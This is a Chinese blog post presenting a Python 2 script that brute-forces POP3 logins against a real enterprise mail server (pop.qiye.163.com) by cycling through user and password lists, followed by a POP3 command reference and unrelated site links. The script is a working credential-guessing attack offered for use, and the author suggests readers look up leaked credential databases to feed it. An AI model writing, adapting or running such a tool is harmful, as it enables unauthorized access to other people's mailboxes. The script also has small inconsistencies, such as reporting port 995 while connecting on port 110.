python制作企业邮箱的爆破脚本


Posted in Python onOctober 05, 2016

按照师傅给的任务,写了一个企业邮箱的爆破脚本,后续还有FTP,SSH等一些爆破的脚本。

我先说下整体思路:

总体就是利用python的poplib模块来从pop3服务器上交互,根据获取的相关信息,产生结果。POP3协议并不复杂,它也是采用的一问一答式的方式,你向服务器发送一个命令,服务器必然会回复一个信息.

1.首先验证参数是否正确

    Sys.argv[]是用来获取命令行参数的,sys.argv[0]表示代码本身文件路径,所以参数从1开始

2.然后从用户密码文件中读取信息
3.pop.getwelcome()用来获取连接服务器的响应状态
4.然后就是脚本的核心代码部分

server = "pop.qiye.163.com" //设置pop3服务器地址
pop = poplib.POP3(server,110) //连接pop3服务器
pop.user(user) //验证用户名
auth = pop.pass_(passwd) //验证密码
if auth.split(' ')[0]== "+OK": //判断响应的结果是否“OK”
 pring user,passwd

5.最后输出出来相关的用户信息

脚本代码如下:

#!/usr/bin/python
# -*- coding: UTF-8 -*-
'''
@Author:joy_nick
@博客:http://byd.dropsec.xyz/
@Email Pop3 Brute Forcer
'''

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
 print "\t --------------------------------------------------\n"
 print "\t Usage: ./Emailpopbrute.py <userlist> <passlist>\n"
 sys.exit(1)

server = "pop.qiye.163.com"
success = []

try:
 users = open(sys.argv[1], "r").readlines()
except(IOError):
 print "[-] Error: urerlist打开失败!\n"
 sys.exit(1)

try:
 words = open(sys.argv[2], "r").readlines()
except(IOError):
 print "[-] Error: passlist打开失败!\n"
 sys.exit(1)
try:
 pop = poplib.POP3(server,110)
 welcome = pop.getwelcome()
 print welcome
 pop.quit()
except (poplib.error_proto):
 welcome = "No Response"
 pass

def mailbruteforce(listuser,listpwd):
 if len(listuser) < 1 or len(listpwd) < 1 :
 print "An error occurred: No user or pass list"
 return 1
 for user in listuser:
 for value in listpwd :
 user = user.replace("\n","")
 value = value.replace("\n","")
 try:
 print "-"*12
 print "[+] User:",user,"Password:",value
 time.sleep(1)
 pop = poplib.POP3(server,110)
 pop.user(user)
 auth = pop.pass_(value)
 print auth
 if auth.split(' ')[0]!= "+OK" :
 pop.quit()
 print "unknown error !"
 continue
 if pop.stat()[1] is None or pop.stat()[1] < 1 :
 pop.quit()
 print "获取信息失败!"
 continue
 ret = (user,value,pop.stat()[0],pop.stat()[1])
 success.append(ret)
 pop.quit()
 break
 except:
 #print "An error occurred:", msg
 pass
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"
mailbruteforce(users,words)

print "\t[+] have weakpass :\t",len(success)
if len(success) >=1:
 for ret in success:
 print "\n\n[+] Login successful:",ret[0], ret[1]
 print "\t[+] Mail:",ret[2],"emails"
 print "\t[+] Size:",ret[3],"bytes\n"
print "\n[-] Done"

测试结果:

python制作企业邮箱的爆破脚本

说明:

用户字典文件需要@domain.com,类似zhangsan@domain.com、lisi@domain.com、wangwu@domain.com这样的。由于我也没有企业邮箱的账号密码,也就没测试成功的,要是感兴趣,可以搜一下相关社工裤。

附:

python 中 os._exit(), sys.exit(), exit() 的区别是什么?

  1. sys.exit(n) 退出程序引发一个SystemExit异常, 可以捕获异常执行些清理工作. n默认值为0, 表示正常退出. 其他都是非正常退出. 没有捕获这个异常,会直接退出;捕获这个异常可以做一些额外的清理工作。 一般主程序中使用此退出
  2. os._exit(n), 直接退出 Python 解释器,其后的代码都不执行, 不抛异常, 不执行相关清理工作. 常用在子进程的退出.
  3. exit() 跟 C 语言等其他语言的 exit() 应该是一样的

pop3收取邮件的过程一般是:

  • 连接pop3服务器 (poplib.POP3.__init__)
  • 发送用户名和密码进行验证 (poplib.POP3.user poplib.POP3.pass_)
  • 获取邮箱中信件信息 (poplib.POP3.stat)
  • 收取邮件 (poplib.POP3.retr)
  • 删除邮件 (poplib.POP3.dele)
  • 退出 (poplib.POP3.quit)

命令 poplib方法 参数 状态 描述
-----------------------------------------------------------------------------------------------
USER user username 认可 用户名,此命令与下面的pass命令若成功,将导致状态转换
PASS pass_ password 认可 用户密码
APOP apop Name,Digest 认可 Digest是MD5消息摘要
-----------------------------------------------------------------------------------------------
STAT stat None 处理 请求服务器发回关于邮箱的统计资料,如邮件总数和总字节数
UIDL uidl [Msg#] 处理 返回邮件的唯一标识符,POP3会话的每个标识符都将是唯一的
LIST list [Msg#] 处理 返回邮件数量和每个邮件的大小
RETR retr [Msg#] 处理 返回由参数标识的邮件的全部文本
DELE dele [Msg#] 处理 服务器将由参数标识的邮件标记为删除,由quit命令执行
RSET rset None 处理 服务器将重置所有标记为删除的邮件,用于撤消DELE命令
TOP top [Msg#] 处理 服务器将返回由参数标识的邮件前n行内容,n必须是正整数
NOOP noop None 处理 服务器返回一个肯定的响应

Python 相关文章推荐
Python中无限元素列表的实现方法
Aug 18 Python
在Python程序中实现分布式进程的教程
Apr 28 Python
详解python 发送邮件实例代码
Dec 22 Python
Python闭包函数定义与用法分析
Jul 20 Python
浅谈python写入大量文件的问题
Nov 09 Python
PyQt5内嵌浏览器注入JavaScript脚本实现自动化操作的代码实例
Feb 13 Python
Python根据当前日期取去年同星期日期
Apr 14 Python
python按行读取文件并找出其中指定字符串
Aug 08 Python
解决安装pyqt5之后无法打开spyder的问题
Dec 13 Python
使用python+poco+夜神模拟器进行自动化测试实例
Apr 23 Python
Python txt文件常用读写操作代码实例
Aug 03 Python
15款Python编辑器的优缺点,别再问我“选什么编辑器”啦
Oct 19 Python
python爬取NUS-WIDE数据库图片
Oct 05 #Python
python2.7的编码问题与解决方法
Oct 04 #Python
Python Sqlite3以字典形式返回查询结果的实现方法
Oct 03 #Python
Python实现屏幕截图的代码及函数详解
Oct 01 #Python
Python爬取APP下载链接的实现方法
Sep 30 #Python
Python脚本实现12306火车票查询系统
Sep 30 #Python
Python ldap实现登录实例代码
Sep 30 #Python
You might like
全国FM电台频率大全 - 8 黑龙江省
2020/03/11 无线电
可定制的PHP缩略图生成程式(需要GD库支持)
2007/03/06 PHP
谨慎使用PHP的引用原因分析
2012/09/06 PHP
完美解决:Apache启动问题―(OS 10022)提供了一个无效的参数
2013/06/08 PHP
浅谈php正则表达式中的非贪婪模式匹配的使用
2014/11/25 PHP
php实现的debug log日志操作类实例
2016/07/12 PHP
PHP实现的多维数组排序算法分析
2018/02/10 PHP
PHP simplexml_load_string()函数实例讲解
2019/02/03 PHP
Laravel登录失败次数限制的实现方法
2020/08/26 PHP
关于IE、Firefox、Opera页面呈现异同 写脚本很痛苦
2009/08/28 Javascript
从jQuery.camelCase()学习string.replace() 函数学习
2011/09/13 Javascript
jquery方法+js一般方法+js面向对象方法实现拖拽效果
2012/08/30 Javascript
基于jQuery实现模拟页面加载进度条
2013/04/01 Javascript
jfinal与bootstrap的登录跳转实战演习
2015/09/22 Javascript
javascript实现Email邮件显示与删除功能
2015/11/21 Javascript
浅谈Node 调试工具入门教程
2018/03/20 Javascript
Vue 让元素抖动/摆动起来的实现代码
2018/05/31 Javascript
animate.css在vue项目中的使用教程
2018/08/05 Javascript
Vue实现6位数密码效果
2018/08/18 Javascript
[00:26]TI7不朽珍藏III——冥界亚龙不朽展示
2017/07/15 DOTA
[51:44]2018DOTA2亚洲邀请赛 4.3 突围赛 Optic vs iG 第二场
2018/04/04 DOTA
python实现将html表格转换成CSV文件的方法
2015/06/28 Python
python中dict字典的查询键值对 遍历 排序 创建 访问 更新 删除基础操作方法
2018/09/13 Python
Django中数据库的数据关系:一对一,一对多,多对多
2018/10/21 Python
Pandas:Series和DataFrame删除指定轴上数据的方法
2018/11/10 Python
使用python实现语音文件的特征提取方法
2019/01/09 Python
在 Jupyter 中重新导入特定的 Python 文件(场景分析)
2019/10/27 Python
python3实现从kafka获取数据,并解析为json格式,写入到mysql中
2019/12/23 Python
浅谈django 模型类使用save()方法的好处与注意事项
2020/03/28 Python
Whittard官方海外旗舰店:英国百年茶叶品牌
2018/02/22 全球购物
校园活动宣传方案
2014/03/28 职场文书
乡镇党员干部群众路线对照检查材料思想汇报
2014/09/28 职场文书
投资入股合作协议书
2014/10/28 职场文书
超级实用!五步法则,教你写好年终工作总结
2019/12/05 职场文书
使用Selenium实现微博爬虫(预登录、展开全文、翻页)
2021/04/13 Python
试用1103暨1103、1101同门大比武 [ DAIWEI ]
2022/04/05 无线电